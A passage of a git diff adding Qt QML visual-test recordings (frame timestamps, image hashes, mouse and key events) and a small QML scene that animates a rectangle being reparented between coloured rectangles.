+ msec: 2592
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2608
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2624
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2640
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2656
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2672
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2688
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2704
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2720
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2736
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2752
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2768
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 207; y: 255
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2784
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2800
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2816
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2832
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2848
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2864
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2880
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2896
+ image: "parentAnimation2.3.png"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 207; y: 255
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2928
+ hash: "608af88c841d6058c3304cc134de0187"
+ }
+ Frame {
+ msec: 2944
+ hash: "96a727d6ff02c7baf85865fda9d871bd"
+ }
+ Frame {
+ msec: 2960
+ hash: "22cacf109e40b457041d6c2862c4f97f"
+ }
+ Frame {
+ msec: 2976
+ hash: "ea2a53381eef8ac75fce23c518f1e261"
+ }
+ Frame {
+ msec: 2992
+ hash: "a719237e74e9c40b46cc1f27cca5e286"
+ }
+ Frame {
+ msec: 3008
+ hash: "804ef3519ba9852afb0bd4ef793e0006"
+ }
+ Frame {
+ msec: 3024
+ hash: "4abc5026f0de1165717bd14630c9d9f6"
+ }
+ Frame {
+ msec: 3040
+ hash: "1e4dd04698691932725076073a0bd2e7"
+ }
+ Frame {
+ msec: 3056
+ hash: "12aae9dcfd9597ce600588b19bdf5a7d"
+ }
+ Frame {
+ msec: 3072
+ hash: "9176b69f7df68d860b7d7aecc2496f09"
+ }
+ Frame {
+ msec: 3088
+ hash: "9cba95a510685ab6367ba87246f6c922"
+ }
+ Frame {
+ msec: 3104
+ hash: "33ef448b9485fafb7a2af319f9f6e816"
+ }
+ Frame {
+ msec: 3120
+ hash: "791760db748e46aceb9f469c33b7bf2f"
+ }
+ Frame {
+ msec: 3136
+ hash: "201a00feef1bb445f2fd0ba8ef9467a1"
+ }
+ Frame {
+ msec: 3152
+ hash: "6e8962c3cb522f5a45b093f1780d2dae"
+ }
+ Frame {
+ msec: 3168
+ hash: "d75cb08203a4f2c05b4dfdca2196e3db"
+ }
+ Frame {
+ msec: 3184
+ hash: "0417d681c9b64e2cc252ab6fcf20148b"
+ }
+ Frame {
+ msec: 3200
+ hash: "85993e5a91a86cedb8c88819b035b6bb"
+ }
+ Frame {
+ msec: 3216
+ hash: "d7a0db647e641df9625b8eb5078a8ec3"
+ }
+ Frame {
+ msec: 3232
+ hash: "fa29824ed3fd3d4e0d8036079be6bcf8"
+ }
+ Frame {
+ msec: 3248
+ hash: "4fc84a3ae74bb6ab7b0b846c8747eb54"
+ }
+ Frame {
+ msec: 3264
+ hash: "a172921ffe15077382db8e8915fb340b"
+ }
+ Frame {
+ msec: 3280
+ hash: "480ee71d2407d729814a2e19d4320c59"
+ }
+ Frame {
+ msec: 3296
+ hash: "b8cf02a1ad96d5c3354f2b658085ed28"
+ }
+ Frame {
+ msec: 3312
+ hash: "80fc0f57f58250f63a77b1988a9e1d2e"
+ }
+ Frame {
+ msec: 3328
+ hash: "bc283b5d7c5b88ef447be5992a77b6a9"
+ }
+ Frame {
+ msec: 3344
+ hash: "89c86df88dc1a3188d52c1f75b80ccf1"
+ }
+ Frame {
+ msec: 3360
+ hash: "84148139d89b45949561321bd6f6c835"
+ }
+ Frame {
+ msec: 3376
+ hash: "9118d6933b3f77e0b5b8da2d630152e8"
+ }
+ Frame {
+ msec: 3392
+ hash: "2b5f746225053778fb07a606ff113e64"
+ }
+ Frame {
+ msec: 3408
+ hash: "0a1ed1bea6ed674826d0a2c3146a1c31"
+ }
+ Frame {
+ msec: 3424
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3440
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3456
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3472
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3488
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3504
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3520
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3536
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3552
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3568
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3584
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3600
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3616
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3632
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3648
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3664
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3680
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3696
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3712
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3728
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3744
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3760
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3776
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3792
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3808
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3824
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 3840
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/parentAnimation2.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/parentAnimation2.qml
new file mode 100644
index 00000000..f4979431
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/parentAnimation2.qml
@@ -0,0 +1,64 @@
+import QtQuick 1.0
+
+/*
+Blue rect fills (with 10px margin) screen, then red, then green, then screen again.
+*/
+
+Rectangle {
+ id: whiteRect
+ width: 640; height: 480;
+
+ Rectangle {
+ id: redRect
+ x: 400; y: 50
+ width: 100; height: 100
+ color: "red"
+ }
+
+ Rectangle {
+ id: greenRect
+ x: 100; y: 150
+ width: 200; height: 300
+ color: "green"
+ }
+
+ Rectangle {
+ id: blueRect
+ x: 5; y: 5
+ width: parent.width-10
+ height: parent.height-10
+ color: "lightblue"
+
+ //Text { text: "Click me!"; anchors.centerIn: parent }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ switch(blueRect.state) {
+ case "": blueRect.state = "inRed"; break;
+ case "inRed": blueRect.state = "inGreen"; break;
+ case "inGreen": blueRect.state = ""; break;
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "inRed"
+ ParentChange { target: blueRect; parent: redRect; x: 5; y: 5; width: parent.width-10; height: parent.height-10 }
+ PropertyChanges { target: redRect; z: 1 }
+ },
+ State {
+ name: "inGreen"
+ ParentChange { target: blueRect; parent: greenRect; x: 5; y: 5; width: parent.width-10; height: parent.height-10 }
+ PropertyChanges { target: greenRect; z: 1 }
+ }
+ ]
+
+ transitions: Transition {
+ ParentAnimation { target: blueRect; //via: whiteRect;
+ NumberAnimation { properties: "x, y, width, height"; duration: 500 }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.0.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.0.png
new file mode 100644
index 00000000..cb0971a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.1.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.1.png
new file mode 100644
index 00000000..c579deda
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.2.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.2.png
new file mode 100644
index 00000000..49e2b9fe
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.3.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.3.png
new file mode 100644
index 00000000..cb0971a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.4.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.4.png
new file mode 100644
index 00000000..e62485b3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.5.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.5.png
new file mode 100644
index 00000000..61e74631
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.6.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.6.png
new file mode 100644
index 00000000..8c31e7da
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml
new file mode 100644
index 00000000..34deb9b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml
@@ -0,0 +1,1619 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "pauseAnimation-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 48
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 64
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 80
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 96
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 112
+ hash: "336d31586171f22d541b989d24b95cbb"
+ }
+ Frame {
+ msec: 128
+ hash: "6d63fb5c8a80f0280e88b2cdf8641bb9"
+ }
+ Frame {
+ msec: 144
+ hash: "ef8941674cb61f54853dc33652bb854e"
+ }
+ Frame {
+ msec: 160
+ hash: "b3f4a2165ec1ee971542b8ef89656cea"
+ }
+ Frame {
+ msec: 176
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 192
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 208
+ hash: "21f0b0437a999bbde66a913032d495c2"
+ }
+ Frame {
+ msec: 224
+ hash: "0809d32d5bc1bfce199b1f39a1c68d4f"
+ }
+ Frame {
+ msec: 240
+ hash: "022137587b39f5123835482178a1f1cf"
+ }
+ Frame {
+ msec: 256
+ hash: "97566ce9558d13ea0780bce233097b27"
+ }
+ Frame {
+ msec: 272
+ hash: "96d79b07da105b7f631ed61582b26f7e"
+ }
+ Frame {
+ msec: 288
+ hash: "f4732ff2df93fe67cb850dec34184924"
+ }
+ Frame {
+ msec: 304
+ hash: "054e6e52f74a3e24f04e6ad0071f79f8"
+ }
+ Frame {
+ msec: 320
+ hash: "f541af93a9fde62e4bd1c91d30f91e65"
+ }
+ Frame {
+ msec: 336
+ hash: "c4f844ee71f23635bb3ec7375f6a134f"
+ }
+ Frame {
+ msec: 352
+ hash: "3e52e06db2bf78762bb9816fe6b105d9"
+ }
+ Frame {
+ msec: 368
+ hash: "d9604be23a91327e6ab454609a9d4a13"
+ }
+ Frame {
+ msec: 384
+ hash: "dc98a9bdd99367c1e9b838d4be489dcc"
+ }
+ Frame {
+ msec: 400
+ hash: "e87b00bfc2c2a75a4234ec02a057ad3a"
+ }
+ Frame {
+ msec: 416
+ hash: "5be4f5c67941efb6fcea363c79f1e321"
+ }
+ Frame {
+ msec: 432
+ hash: "6cc9de62a0c8fa5e42eac1b01e99ac32"
+ }
+ Frame {
+ msec: 448
+ hash: "62a7133012348f2ec3a388fb685ecc3f"
+ }
+ Frame {
+ msec: 464
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 480
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 496
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 512
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 528
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 544
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 560
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 576
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 592
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 608
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 624
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 640
+ hash: "ffd39c1122fe2f7877ef30591b539b40"
+ }
+ Frame {
+ msec: 656
+ hash: "62a7133012348f2ec3a388fb685ecc3f"
+ }
+ Frame {
+ msec: 672
+ hash: "45281a70021f81dbef30334b1480da1b"
+ }
+ Frame {
+ msec: 688
+ hash: "6cc9de62a0c8fa5e42eac1b01e99ac32"
+ }
+ Frame {
+ msec: 704
+ hash: "79ec710576427df73dd03f39fba6e2eb"
+ }
+ Frame {
+ msec: 720
+ hash: "5be4f5c67941efb6fcea363c79f1e321"
+ }
+ Frame {
+ msec: 736
+ hash: "7d9096b1eb940c82a37baf39ef3ccf3e"
+ }
+ Frame {
+ msec: 752
+ hash: "e87b00bfc2c2a75a4234ec02a057ad3a"
+ }
+ Frame {
+ msec: 768
+ hash: "da60100dc55023c3bab367d97c8f6a85"
+ }
+ Frame {
+ msec: 784
+ hash: "dc98a9bdd99367c1e9b838d4be489dcc"
+ }
+ Frame {
+ msec: 800
+ hash: "3f869538028a09020d5e8f528f4fb119"
+ }
+ Frame {
+ msec: 816
+ hash: "9650fd0364c01b11e4f5dcce51d008af"
+ }
+ Frame {
+ msec: 832
+ hash: "2cb09d9655ecc30ae6a591b28c0d355c"
+ }
+ Frame {
+ msec: 848
+ hash: "4db9bc6c11caf1d77794c2eabb62a44e"
+ }
+ Frame {
+ msec: 864
+ hash: "ce2b5dd7418868acf86fea6ad19cc0c5"
+ }
+ Frame {
+ msec: 880
+ hash: "7c27ef654e645679c90520d6cf00b0c4"
+ }
+ Frame {
+ msec: 896
+ hash: "ab3e211df3ef7f5f7a8d712edc891c0f"
+ }
+ Frame {
+ msec: 912
+ hash: "19d2ae617a49b57dd012677e2834469c"
+ }
+ Frame {
+ msec: 928
+ hash: "5025eb75c88f0760f637e0342b7f88a2"
+ }
+ Frame {
+ msec: 944
+ hash: "005acbef952a8ee536e6308a48223e65"
+ }
+ Frame {
+ msec: 960
+ hash: "f1e0301430d153fb9d15eaffdfcd5c58"
+ }
+ Frame {
+ msec: 976
+ image: "pauseAnimation-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "bcc35497884c158396c7f60759d1fda4"
+ }
+ Frame {
+ msec: 1008
+ hash: "7a4528b000a4ea142d1c77407fa1f581"
+ }
+ Frame {
+ msec: 1024
+ hash: "ba967a7d810a4531e577e5f6bd2def33"
+ }
+ Frame {
+ msec: 1040
+ hash: "f5afd9cf8ffe27e9992454b9e68688cb"
+ }
+ Frame {
+ msec: 1056
+ hash: "51d475c7f64a86d3a18fb115297a7b6b"
+ }
+ Frame {
+ msec: 1072
+ hash: "49f5d6fd45c195a8d245b7fefc1277ab"
+ }
+ Frame {
+ msec: 1088
+ hash: "f9b0b278659e3a0f78611e6b7f0f2176"
+ }
+ Frame {
+ msec: 1104
+ hash: "0809d32d5bc1bfce199b1f39a1c68d4f"
+ }
+ Frame {
+ msec: 1120
+ hash: "b7208d103b63a936dff8dd8ed224237f"
+ }
+ Frame {
+ msec: 1136
+ hash: "a57c81049b0dc68090ec7c3327b9922c"
+ }
+ Frame {
+ msec: 1152
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1168
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 1184
+ hash: "0c20d12464abbdc45041ea5d9f2719b1"
+ }
+ Frame {
+ msec: 1200
+ hash: "dd60cbaff6f34027474e92315dbc0ebc"
+ }
+ Frame {
+ msec: 1216
+ hash: "336d31586171f22d541b989d24b95cbb"
+ }
+ Frame {
+ msec: 1232
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 1248
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 1264
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 1280
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 1296
+ hash: "336d31586171f22d541b989d24b95cbb"
+ }
+ Frame {
+ msec: 1312
+ hash: "f0d8132489c2f2ef760e905b3c093726"
+ }
+ Frame {
+ msec: 1328
+ hash: "6d63fb5c8a80f0280e88b2cdf8641bb9"
+ }
+ Frame {
+ msec: 1344
+ hash: "dd60cbaff6f34027474e92315dbc0ebc"
+ }
+ Frame {
+ msec: 1360
+ hash: "ef8941674cb61f54853dc33652bb854e"
+ }
+ Frame {
+ msec: 1376
+ hash: "bc426fb7c31751665b0d3f16e2cb0173"
+ }
+ Frame {
+ msec: 1392
+ hash: "0c20d12464abbdc45041ea5d9f2719b1"
+ }
+ Frame {
+ msec: 1408
+ hash: "53ae93140252373eaa4d9da73756bd8e"
+ }
+ Frame {
+ msec: 1424
+ hash: "721d7061811b5439c2e8e395917494bc"
+ }
+ Frame {
+ msec: 1440
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 1456
+ hash: "a8b624ebfc9ab713d1ce55f318a6e90d"
+ }
+ Frame {
+ msec: 1472
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 1488
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 1504
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 1520
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1536
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1552
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1568
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1584
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1600
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1616
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1632
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1648
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 1664
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1680
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 1696
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 1712
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 1728
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 1744
+ hash: "a8b624ebfc9ab713d1ce55f318a6e90d"
+ }
+ Frame {
+ msec: 1760
+ hash: "a8b624ebfc9ab713d1ce55f318a6e90d"
+ }
+ Frame {
+ msec: 1776
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 1792
+ hash: "721d7061811b5439c2e8e395917494bc"
+ }
+ Frame {
+ msec: 1808
+ hash: "b3f4a2165ec1ee971542b8ef89656cea"
+ }
+ Frame {
+ msec: 1824
+ hash: "0c20d12464abbdc45041ea5d9f2719b1"
+ }
+ Frame {
+ msec: 1840
+ hash: "bc426fb7c31751665b0d3f16e2cb0173"
+ }
+ Frame {
+ msec: 1856
+ hash: "ef8941674cb61f54853dc33652bb854e"
+ }
+ Frame {
+ msec: 1872
+ hash: "dd60cbaff6f34027474e92315dbc0ebc"
+ }
+ Frame {
+ msec: 1888
+ hash: "6d63fb5c8a80f0280e88b2cdf8641bb9"
+ }
+ Frame {
+ msec: 1904
+ hash: "e74fe4a6bd92cbe8629c8bc8a870104d"
+ }
+ Frame {
+ msec: 1920
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 1936
+ image: "pauseAnimation-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 1968
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 1984
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2000
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 2016
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 2032
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 2048
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 2064
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 2080
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 2096
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2112
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2128
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2144
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2160
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2176
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2192
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2208
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 2224
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 2240
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 2256
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 2272
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 2288
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 2304
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 2320
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2336
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2352
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2368
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2384
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2400
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2416
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 2432
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 2448
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2464
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2480
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2496
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 2512
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2528
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2544
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2560
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2576
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2592
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2608
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2624
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2640
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2656
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2672
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2688
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2704
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2720
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2736
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2752
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2768
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2784
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2800
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2816
